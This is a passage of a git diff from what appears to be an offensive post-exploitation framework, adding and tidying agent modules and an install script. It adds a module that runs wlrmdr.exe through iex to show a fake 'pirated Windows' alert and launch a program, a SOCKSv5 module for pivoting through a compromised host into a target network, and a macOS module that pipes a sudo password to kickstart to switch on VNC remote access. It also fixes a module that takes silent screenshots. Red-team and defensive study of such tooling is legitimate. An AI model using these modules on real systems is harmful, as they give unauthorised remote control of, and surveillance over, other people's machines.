+ # like listeners/agent handlers/etc.
+ self.mainMenu = mainMenu
+
+ for param in params:
+ # parameter format is [Name, Value]
+ option, value = param
+ if option in self.options:
+ self.options[option]['Value'] = value
+
+
+ def generate(self):
+
+ script = """
+function Invoke-Wlrmdr {
+ [CmdletBinding()]
+ Param (
+ [Parameter(Mandatory = $True, Position = 0)]
+ [String] $Message = "You are using pirated Windows",
+
+ [Parameter(Mandatory = $True, Position = 1)]
+ [String] $IconType = "Key",
+ [Parameter(Mandatory = $True, Position = 2)]
+ [String] $Title = "Windows Explorer"
+ )
+$command = "wlrmdr.exe -s 60000 -f "
+$Iaintgotnotype = switch ($IconType)
+ {
+ "Critical" {6}
+ "Exclamation" {5}
+ "Information" {1}
+ "Key" {4}
+ "None" {0}
+ default {0}
+ }
+$command += $Iaintgotnotype
+$command += "-t "
+$command += $Title
+$command += " -m "
+$command += $Message
+$command += " -a 10 -u calc"
+iex $command
+}
+Invoke-Wlrmdr"""
+
+ for option,values in self.options.iteritems():
+ if option.lower() != "agent" and option.lower() != "computername":
+ if values['Value'] and values['Value'] != '':
+ if values['Value'].lower() == "true":
+ # if we're just adding a switch
+ script += " -" + str(option)
+ else:
+ script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\""
+
+ return script
diff --git a/lib/modules/powershell_template.py b/lib/modules/powershell_template.py
index 0eb8cbe..7a9192e 100644
--- a/lib/modules/powershell_template.py
+++ b/lib/modules/powershell_template.py
@@ -1,97 +1,97 @@
from lib.common import helpers
+
class Module:
def __init__(self, mainMenu, params=[]):
- # metadata info about the module, not modified during runtime
+ # Metadata info about the module, not modified during runtime
self.info = {
- # name for the module that will appear in module menus
+ # Name for the module that will appear in module menus
'Name': 'Invoke-Something',
- # list of one or more authors for the module
+ # List of one or more authors for the module
'Author': ['@yourname'],
- # more verbose multi-line description of the module
- 'Description': ('description line 1'
+ # More verbose multi-line description of the module
+ 'Description': ('description line 1 '
'description line 2'),
# True if the module needs to run in the background
- 'Background' : False,
+ 'Background': False,
# File extension to save the file as
- 'OutputExtension' : None,
+ 'OutputExtension': None,
# True if the module needs admin rights to run
- 'NeedsAdmin' : False,
+ 'NeedsAdmin': False,
# True if the method doesn't touch disk/is reasonably opsec safe
- 'OpsecSafe' : True,
-
- # the language for this module
- 'Language' : 'powershell',
+ 'OpsecSafe': True,
+
+ # The language for this module
+ 'Language': 'powershell',
# The minimum PowerShell version needed for the module to run
- 'MinLanguageVersion' : '2',
+ 'MinLanguageVersion': '2',
- # list of any references/other comments
+ # List of any references/other comments
'Comments': [
'comment',
'http://link/'
]
}
- # any options needed by the module, settable during runtime
+ # Any options needed by the module, settable during runtime
self.options = {
- # format:
+ # Format:
# value_name : {description, required, default_value}
- 'Agent' : {
+ 'Agent': {
# The 'Agent' option is the only one that MUST be in a module
- 'Description' : 'Agent to grab a screenshot from.',
- 'Required' : True,
- 'Value' : ''
+ 'Description': 'Agent to grab a screenshot from.',
+ 'Required' : True,
+ 'Value' : ''
},
- 'Command' : {
- 'Description' : 'Command to execute',
- 'Required' : True,
- 'Value' : 'test'
+ 'Command': {
+ 'Description': 'Command to execute',
+ 'Required' : True,
+ 'Value' : 'test'
}
}
- # save off a copy of the mainMenu object to access external functionality
- # like listeners/agent handlers/etc.
+ # Save off a copy of the mainMenu object to access external
+ # functionality like listeners/agent handlers/etc.
self.mainMenu = mainMenu
- # During instantiation, any settable option parameters
- # are passed as an object set to the module and the
- # options dictionary is automatically set. This is mostly
- # in case options are passed on the command line
+ # During instantiation, any settable option parameters are passed as
+ # an object set to the module and the options dictionary is
+ # automatically set. This is mostly in case options are passed on
+ # the command line.
if params:
for param in params:
- # parameter format is [Name, Value]
+ # Parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
-
- # the PowerShell script itself, with the command to invoke
- # for execution appended to the end. Scripts should output
- # everything to the pipeline for proper parsing.
+
+ # The PowerShell script itself, with the command to invoke for
+ # execution appended to the end. Scripts should output everything
+ # to the pipeline for proper parsing.
#
- # the script should be stripped of comments, with a link to any
- # original reference script included in the comments.
- script = """
-function Invoke-Something {
-
-}
-Invoke-Something"""
-
-
- # if you're reading in a large, external script that might be updates,
- # use the pattern below
- # read in the common module source code
+ # If you're planning on storing your script in module_source as a ps1,
+ # or if you're importing a shared module_source, use the first
+ # method to import it and the second to add any additional code and
+ # launch it.
+ #
+ # If you're just going to inline your script, you can delete the first
+ # method entirely and just use the second. The script should be
+ # stripped of comments, with a link to any original reference script
+ # included in the comments.
+ #
+ # First method: Read in the source script from module_source
moduleSource = self.mainMenu.installPath + "/data/module_source/..."
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
@@ -105,11 +105,32 @@ Invoke-Something"""
moduleCode = f.read()
f.close()
+ # If you'd just like to import a subset of the functions from the
+ # module source, use the following:
+ # script = helpers.generate_dynamic_powershell_script(moduleCode, ["Get-Something", "Set-Something"])
script = moduleCode
+ # Second method: For calling your imported source, or holding your
+ # inlined script. If you're importing source using the first method,
+ # ensure that you append to the script variable rather than set.
+ #
+ # The script should be stripped of comments, with a link to any
+ # original reference script included in the comments.
+ #
+ # If your script is more than a few lines, it's probably best to use
+ # the first method to source it.
+ #
+ # script += """
+ script = """
+function Invoke-Something {
+
+}
+Invoke-Something"""
+
scriptEnd = ""
- # add any arguments to the end execution of the script
- for option,values in self.options.iteritems():
+
+ # Add any arguments to the end execution of the script
+ for option, values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
diff --git a/lib/modules/python/collection/osx/screenshot.py b/lib/modules/python/collection/osx/screenshot.py
index bf19fa1..e3ec6b5 100644
--- a/lib/modules/python/collection/osx/screenshot.py
+++ b/lib/modules/python/collection/osx/screenshot.py
@@ -73,7 +73,7 @@ class Module:
script = """
# take a screenshot using screencapture
-run_command('screencapture -x /tmp/out.png')
+run_command('screencapture -x %s')
# base64 up resulting file, delete the file, return the base64 of the png output
# mocked from the Empire screenshot module
f = open('%s', 'rb')
@@ -81,6 +81,6 @@ data = f.read()
f.close()
run_command('rm -f %s')
print data
-""" % (savePath, savePath)
+""" % (savePath, savePath, savePath)
return script
diff --git a/lib/modules/python/management/multi/socks.py b/lib/modules/python/management/multi/socks.py
new file mode 100644
index 0000000..9f719cc
--- /dev/null
+++ b/lib/modules/python/management/multi/socks.py
@@ -0,0 +1,99 @@
+from lib.common import helpers
+import os
+import string
+
+
+class Module:
+
+ def __init__(self, mainMenu, params=[]):
+
+ # metadata info about the module, not modified during runtime
+ self.info = {
+ # name for the module that will appear in module menus
+ 'Name': 'SOCKSv5 proxy',
+
+ # list of one or more authors for the module
+ 'Author': ['@klustic'],
+
+ # more verbose multi-line description of the module
+ 'Description': ('Extend a SOCKSv5 proxy into your target network'),
+
+ # True if the module needs to run in the background
+ 'Background': True,
+
+ # File extension to save the file as
+ # no need to base64 return data
+ 'OutputExtension': None,
+
+ 'NeedsAdmin': False,
+
+ # the module language
+ 'Language' : 'python',
+
+ # the minimum language version needed
+ 'MinLanguageVersion' : '2.7',
+
+
+ # True if the method doesn't touch disk/is reasonably opsec safe
+ 'OpsecSafe': True,
+
+ # list of any references/other comments
+ 'Comments': [
+ 'Modified from: https://github.com/klustic/AlmondRocks',
+ 'Use the server found in that Github repo with this module.'
+ ]
+ }
+
+ # any options needed by the module, settable during runtime
+ self.options = {
+ # format:
+ # value_name : {description, required, default_value}
+ 'Agent': {
+ # The 'Agent' option is the only one that MUST be in a module
+ 'Description' : 'Agent to proxy through',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'HOST': {
+ 'Description' : 'Host running the AlmondRocks server',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'PORT': {
+ 'Description' : 'AlmondRocks server port',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'NoSSL': {
+ 'Description' : 'Disable SSL (NOT RECOMMENDED!)',
+ 'Required' : False,
+ 'Value' : 'false'
+ }
+ }
+
+ self.mainMenu = mainMenu
+ if params:
+ for option, value in params:
+ if option in self.options:
+ self.options[option]['Value'] = value
+
+ def generate(self):
+ module_path = os.path.join(self.mainMenu.installPath,
+ 'data/module_source/python/lateral_movement/socks_source.py')
+
+ try:
+ with open(module_path) as f:
+ script_template = string.Template(f.read())
+ except Exception as e:
+ print helpers.color('[!] Error reading {}: {}'.format(str(module_path), e))
+ return ""
+
+ options = {x.lower(): y for x, y in self.options.items()}
+ host = options.get('host', {}).get('Value')
+ port = options.get('port', {}).get('Value')
+ if options.get('nossl', {}).get('Value', 'false').lower() == 'true':
+ no_ssl = True
+ else:
+ no_ssl = False
+
+ return script_template.substitute(host=host, port=port, no_ssl=no_ssl)
diff --git a/lib/modules/python/management/osx/screen_sharing.py b/lib/modules/python/management/osx/screen_sharing.py
new file mode 100644
index 0000000..cacdaf5
--- /dev/null
+++ b/lib/modules/python/management/osx/screen_sharing.py
@@ -0,0 +1,86 @@
+from lib.common import helpers
+
+
+class Module:
+
+ def __init__(self, mainMenu, params=[]):
+
+ # metadata info about the module, not modified during runtime
+ self.info = {
+ # name for the module that will appear in module menus
+ 'Name': 'ScreenSharing',
+
+ # list of one or more authors for the module
+ 'Author': ['@n00py'],
+
+ # more verbose multi-line description of the module
+ 'Description': ('Enables ScreenSharing to allow you to connect to the host via VNC.'),
+
+ # True if the module needs to run in the background
+ 'Background' : False,
+
+ # File extension to save the file as
+ 'OutputExtension' : "",
+
+ # if the module needs administrative privileges
+ 'NeedsAdmin' : False,
+
+ # True if the method doesn't touch disk/is reasonably opsec safe
+ 'OpsecSafe' : True,
+
+ # the module language
+ 'Language' : 'python',
+
+ # the minimum language version needed
+ 'MinLanguageVersion' : '2.6',
+
+ # list of any references/other comments
+ 'Comments': ['https://www.unix-ninja.com/p/Enabling_macOS_screen_sharing_VNC_via_command_line']
+ }
+
+ # any options needed by the module, settable during runtime
+ self.options = {
+ # format:
+ # value_name : {description, required, default_value}
+ 'Agent' : {
+ 'Description' : 'Agent to execute module on.',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'Password' : {
+ 'Description' : 'User password for sudo.',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'VNCpass' : {
+ 'Description' : 'Password to use for VNC',
+ 'Required' : True,
+ 'Value' : ''
+ }
+ }
+
+ # save off a copy of the mainMenu object to access external functionality
+ # like listeners/agent handlers/etc.
+ self.mainMenu = mainMenu
+
+ # During instantiation, any settable option parameters
+ # are passed as an object set to the module and the
+ # options dictionary is automatically set. This is mostly
+ # in case options are passed on the command line
+ if params:
+ for param in params:
+ # parameter format is [Name, Value]
+ option, value = param
+ if option in self.options:
+ self.options[option]['Value'] = value
+
+ def generate(self):
+
+
+
+ password = self.options['Password']['Value']
+ vncpass = self.options['VNCpass']['Value']
+
+ enable = "sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -on -clientopts -setvnclegacy -vnclegacy yes -clientopts -setvncpw -vncpw %s -restart -agent -privs -all" % (vncpass)
+ script = 'import subprocess; subprocess.Popen("echo \\"%s\\" | sudo -S %s", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)' % (password, enable)
+ return script
diff --git a/setup/install.sh b/setup/install.sh
index ad7132a..300c452 100755
--- a/setup/install.sh
+++ b/setup/install.sh
@@ -15,7 +15,7 @@ fi
version=$( lsb_release -r | grep -oP "[0-9]+" | head -1 )
if lsb_release -d | grep -q "Fedora"; then
Release=Fedora
- dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel
+ dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel libssl-dev
pip install setuptools
pip install pycrypto
pip install iptools
@@ -23,13 +23,12 @@ if lsb_release -d | grep -q "Fedora"; then
pip install flask
pip install macholib
pip install dropbox
- pip install pyopenssl
+ pip install pyOpenSSL
pip install pyinstaller
pip install zlib_wrapper
elif lsb_release -d | grep -q "Kali"; then
Release=Kali
- apt-get install -y make g++ python-dev python-m2crypto swig libxml2-dev default-jdk libssl-dev
- easy_install pip
+ apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev
pip install setuptools
pip install pycrypto
pip install iptools
@@ -37,7 +36,7 @@ elif lsb_release -d | grep -q "Kali"; then
pip install flask
pip install macholib
pip install dropbox
- pip install pyopenssl
+ pip install pyOpenSSL
pip install pyinstaller
pip install zlib_wrapper
if ! which powershell > /dev/null; then
@@ -54,8 +53,7 @@ elif lsb_release -d | grep -q "Kali"; then
cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules
elif lsb_release -d | grep -q "Ubuntu"; then
Release=Ubuntu
- apt-get install -y make g++ python-dev python-m2crypto swig libxml2-dev default-jdk libssl-dev
- easy_install pip
+ apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev
pip install setuptools
pip install pycrypto
pip install iptools
@@ -81,8 +79,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then
cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules
else
echo "Unknown distro - Debian/Ubuntu Fallback"
- apt-get install -y make g++ python-dev python-m2crypto swig libxml2-dev default-jdk libffi-dev libssl-dev
- easy_install pip
+ apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev libssl-dev
pip install setuptools
pip install pycrypto
pip install iptools
@@ -91,7 +88,7 @@ else
pip install macholib
pip install dropbox
pip install cryptography
- pip install python-openssl
+ pip install pyOpenSSL
pip install pyinstaller
pip install zlib_wrapper
if ! which powershell > /dev/null; then